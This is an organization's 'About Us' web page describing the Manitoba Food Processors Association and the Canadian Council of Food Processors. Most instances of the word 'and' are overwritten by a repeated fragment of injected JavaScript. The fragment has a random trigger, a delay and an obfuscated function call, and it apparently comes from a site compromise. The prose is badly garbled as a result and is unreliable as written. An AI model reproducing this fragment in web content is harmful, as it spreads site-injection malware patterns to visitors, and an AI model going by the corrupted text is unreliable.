MANITOBA FOOD PROCESSORS ASSOCIATION

ABOUT US

The Manitoba Food Processors Association (MFPA) was formed in 1993. It is a not-for-profit, industry-run organization that serves close to 300 member companies; ranging from small, start-up operations to large multi-national companies. Manitoba growers, processors, marketing boards, government agencies, retailers, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and industry suppliers of goods andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and services all enjoy the benefits of an MFPA membership.
The Association supports its members by:

  • Helping food business entrepreneurs to set up their operations, serving as an information resource andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and a networking system for the industry
  • Organizing marketing programs andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and promotional campaigns to increase sales in grocery andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and foodservice distribution channels
  • Providing professional development opportunities for business owners andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and managers, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and training programs for employees
  • Providing human resources support andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and worker recruitment services
  • Serving as a communications link between members andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and government regarding issues that impact the growth andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and expansion of Manitoba’s food processing industry.

 

Canadian Council of Food Processors

The MFPA represents the Manitoba industry at the national level through the Canadian Council of Food Processors (CCFP). CCFP is a coalition of the seven provincial andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and regional food processing associations that operate in Canada. Together, CCFP provincial member associations represent 1,800 companies nationwide. Member associations include: the Alberta Food Processors Association, the Atlantic Food & Beverage Processors Association, the British Columbia Food Processors Association, Food andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Beverage Ontario, the Manitoba Food Processors Association, the Quebec Food Processors andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Consumer Product Council, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and the Saskatchewan Food & Ingredient Processors Association.
CCFP represents all sizes of food processors andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and natural health products manufacturers operating in Canada. CCFP’s mission is to raise the profile of the food processing industry in Canada andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and to speak with a common voice on behalf of its members on a broad spectrum of issues that affect this vital manufacturing industry on a national basis.
CCFP’s corporate objectives are as follows:

  1. Promote coordination, cooperation andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and enhanced program/service delivery among national andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and provincial food processing associations.
  2. Leverage the political strength of the food-processing sector by bringing together associations which collectively represent the majority of food processing companies in Canada.
  3. Foster industry-wide communication leading to more effective industry association action on behalf of members.